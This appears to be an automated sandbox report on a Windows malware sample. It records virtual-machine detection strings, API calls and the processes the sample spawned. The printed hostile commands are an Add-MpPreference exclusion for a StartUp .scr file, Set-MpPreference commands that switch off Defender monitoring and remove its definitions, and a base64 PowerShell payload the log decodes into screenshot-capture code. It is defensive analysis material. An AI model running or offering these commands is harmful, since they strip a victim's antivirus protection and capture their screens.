Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: 0_2_00007FF78DA592F0 FindFirstFileExW,FindClose,	0_2_00007FF78DA592F0
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: 0_2_00007FF78DA583B0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00007FF78DA583B0
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: 0_2_00007FF78DA718E4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_00007FF78DA718E4
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: 2_2_00007FF78DA592F0 FindFirstFileExW,FindClose,	2_2_00007FF78DA592F0
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA1A46EC FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	70_2_00007FF6AA1A46EC
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA19E21C FindFirstFileW,FindClose,CreateFileW,DeviceIoControl,CloseHandle,	70_2_00007FF6AA19E21C
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA1E88E0 FindFirstFileExA,	70_2_00007FF6AA1E88E0

Source: C:\Users\user\Desktop\9g9LZNE4bH.exe

Code function: 2_2_00007FF8A87EF490 GetSystemInfo,

2_2_00007FF8A87EF490

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: getmac.exe, 00000031.00000003.2165303776.00000133FFD35000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000031.00000003.2165517081.00000133FFD3E000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000031.00000002.2166715661.00000133FFD3F000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000031.00000003.2163438075.00000133FFD20000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000031.00000003.2164053046.00000133FFD34000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000031.00000003.2162447955.00000133FFD0C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V
Source: 9g9LZNE4bH.exe, 00000002.00000002.2400025008.000001F12AF00000.00000004.00001000.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2042038226.000001F12AE4E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vboxtray
Source: 9g9LZNE4bH.exe, 00000002.00000003.2042038226.000001F12AE4E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vboxservice
Source: 9g9LZNE4bH.exe, 00000002.00000002.2400025008.000001F12AF00000.00000004.00001000.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2042038226.000001F12AE4E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: qemu-ga
Source: getmac.exe, 00000031.00000003.2165303776.00000133FFD35000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000031.00000002.2166661265.00000133FFD37000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000031.00000003.2163438075.00000133FFD20000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000031.00000003.2164053046.00000133FFD34000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000031.00000003.2162447955.00000133FFD0C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ssubkeyname"system\currentcontrolset\services\hyper-v\linkage"TEMEb
Source: 9g9LZNE4bH.exe, 00000002.00000002.2400025008.000001F12AF00000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmware
Source: getmac.exe, 00000031.00000003.2165303776.00000133FFD35000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000031.00000003.2165517081.00000133FFD3E000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000031.00000002.2166715661.00000133FFD3F000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000031.00000003.2163438075.00000133FFD20000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000031.00000003.2164053046.00000133FFD34000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000031.00000003.2162447955.00000133FFD0C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: __PARAMETERSSYSTEM\CurrentControlSet\Services\Hyper-V\LinkageExport
Source: 9g9LZNE4bH.exe, 00000002.00000003.2042038226.000001F12AE4E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmwareservicer`
Source: getmac.exe, 00000031.00000003.2165303776.00000133FFD35000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000031.00000003.2165517081.00000133FFD3E000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000031.00000002.2166715661.00000133FFD3F000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000031.00000003.2163438075.00000133FFD20000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000031.00000003.2164053046.00000133FFD34000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000031.00000003.2162447955.00000133FFD0C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Win32_NetworkProtocolHyper-V RAWHyper-VRAWHyper-V RAW
Source: 9g9LZNE4bH.exe, 00000002.00000003.2042038226.000001F12AE4E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmwareuser
Source: 9g9LZNE4bH.exe, 00000002.00000002.2400386354.000001F12B23C000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2395753264.000001F12B239000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2397565293.000001F12B239000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Requirements: VM Monitor Mode Extension
Source: 9g9LZNE4bH.exe, 00000002.00000002.2400025008.000001F12AF00000.00000004.00001000.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2042038226.000001F12AE4E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmusrvc
Source: getmac.exe, 00000031.00000003.2165303776.00000133FFD35000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000031.00000002.2166661265.00000133FFD37000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000031.00000003.2163438075.00000133FFD20000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000031.00000003.2164053046.00000133FFD34000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000031.00000003.2162447955.00000133FFD0C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "SYSTEM\CurrentControlSet\Services\Hyper-V\Linkage"
Source: getmac.exe, 00000031.00000003.2163438075.00000133FFD20000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000031.00000003.2162447955.00000133FFD0C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SetPropValue.sSubKeyName("SYSTEM\CurrentControlSet\Services\Hyper-V\Linkage");
Source: 9g9LZNE4bH.exe, 00000002.00000002.2399251946.000001F12AB14000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000031.00000003.2165303776.00000133FFD35000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000031.00000003.2165517081.00000133FFD3E000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000031.00000002.2166715661.00000133FFD3F000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000031.00000003.2163438075.00000133FFD20000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000031.00000003.2164053046.00000133FFD34000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000031.00000003.2162447955.00000133FFD0C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: getmac.exe, 00000031.00000003.2165303776.00000133FFD35000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000031.00000003.2165517081.00000133FFD3E000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000031.00000002.2166715661.00000133FFD3F000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000031.00000003.2163438075.00000133FFD20000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000031.00000003.2164053046.00000133FFD34000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000031.00000003.2162447955.00000133FFD0C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SYSTEM\CurrentControlSet\Services\Hyper-V\Linkage
Source: getmac.exe, 00000031.00000003.2163438075.00000133FFD20000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000031.00000003.2162447955.00000133FFD0C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V{r
Source: 9g9LZNE4bH.exe, 00000002.00000003.2042038226.000001F12AE4E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmsrvc
Source: 9g9LZNE4bH.exe, 00000002.00000003.2042038226.000001F12AE4E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmtoolsd
Source: 9g9LZNE4bH.exe, 00000002.00000003.2042038226.000001F12AE4E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmwarec
Source: 9g9LZNE4bH.exe, 00000002.00000003.2042038226.000001F12AE4E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmwaretray
Source: 9g9LZNE4bH.exe, 00000002.00000003.2170342469.000001F12B288000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2172233987.000001F12B234000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2172692762.000001F12B23E000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000002.2400386354.000001F12B1CD000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000002.2401257690.000001F12B2E1000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2172584244.000001F12B235000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2171311912.000001F12B23E000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2170342469.000001F12B23C000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2395753264.000001F12B1CA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Requirements: VM Monitor Mode Extensions: No
Source: 9g9LZNE4bH.exe, 00000002.00000002.2400025008.000001F12AF00000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmwareservice

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\9g9LZNE4bH.exe

Code function: 0_2_00007FF78DA6A684 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00007FF78DA6A684

Source: C:\Users\user\Desktop\9g9LZNE4bH.exe

Code function: 0_2_00007FF78DA734F0 GetProcessHeap,

0_2_00007FF78DA734F0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: 0_2_00007FF78DA6A684 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF78DA6A684
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: 0_2_00007FF78DA5C910 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00007FF78DA5C910
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: 0_2_00007FF78DA5D19C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF78DA5D19C
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Code function: 0_2_00007FF78DA5D37C SetUnhandledExceptionFilter,	0_2_00007FF78DA5D37C
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA1E4C10 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	70_2_00007FF6AA1E4C10
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA1DB52C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	70_2_00007FF6AA1DB52C
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA1DA66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	70_2_00007FF6AA1DA66C
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Code function: 70_2_00007FF6AA1DB6D8 SetUnhandledExceptionFilter,	70_2_00007FF6AA1DB6D8

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\9g9LZNE4bH.exe'"
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\9g9LZNE4bH.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\9g9LZNE4bH.exe'"	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\9g9LZNE4bH.exe'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'	Jump to behavior

Bypasses PowerShell execution policy

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB

Encrypted powershell cmdline option found

Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded $source = @"using System;using System.Collections.Generic;using System.Drawing;using System.Windows.Forms;public class Screenshot{ public static List<Bitmap> CaptureScreens() { var results = new List<Bitmap>(); var allScreens = Screen.AllScreens; foreach (Screen screen in allScreens) { try { Rectangle bounds = screen.Bounds; using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height)) { using (Graphics graphics = Graphics.FromImage(bitmap)) { graphics.CopyFromScreen(new Point(bounds.Left, bounds.Top), Point.Empty, bounds.Size); } results.Add((Bitmap)bitmap.Clone()); } } catch (Exception) { // Handle any exceptions here } } return results; }}"@Add-Type -TypeDefinition $source -ReferencedAssemblies System.Drawing, System.Windows.Forms$screenshots = [Screenshot]::CaptureScreens()for ($i = 0; $i -lt $screenshots.Count; $i++){ $screenshot = $screenshots[$i] $screenshot.Save("./Display ($($i+1)).png") $screenshot.Dispose()}
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded $source = @"using System;using System.Collections.Generic;using System.Drawing;using System.Windows.Forms;public class Screenshot{ public static List<Bitmap> CaptureScreens() { var results = new List<Bitmap>(); var allScreens = Screen.AllScreens; foreach (Screen screen in allScreens) { try { Rectangle bounds = screen.Bounds; using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height)) { using (Graphics graphics = Graphics.FromImage(bitmap)) { graphics.CopyFromScreen(new Point(bounds.Left, bounds.Top), Point.Empty, bounds.Size); } results.Add((Bitmap)bitmap.Clone()); } } catch (Exception) { // Handle any exceptions here } } return results; }}"@Add-Type -TypeDefinition $source -ReferencedAssemblies System.Drawing, System.Windows.Forms$screenshots = [Screenshot]::CaptureScreens()for ($i = 0; $i -lt $screenshots.Count; $i++){ $screenshot = $screenshots[$i] $screenshot.Save("./Display ($($i+1)).png") $screenshot.Dispose()}

Modifies Windows Defender protection settings

Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
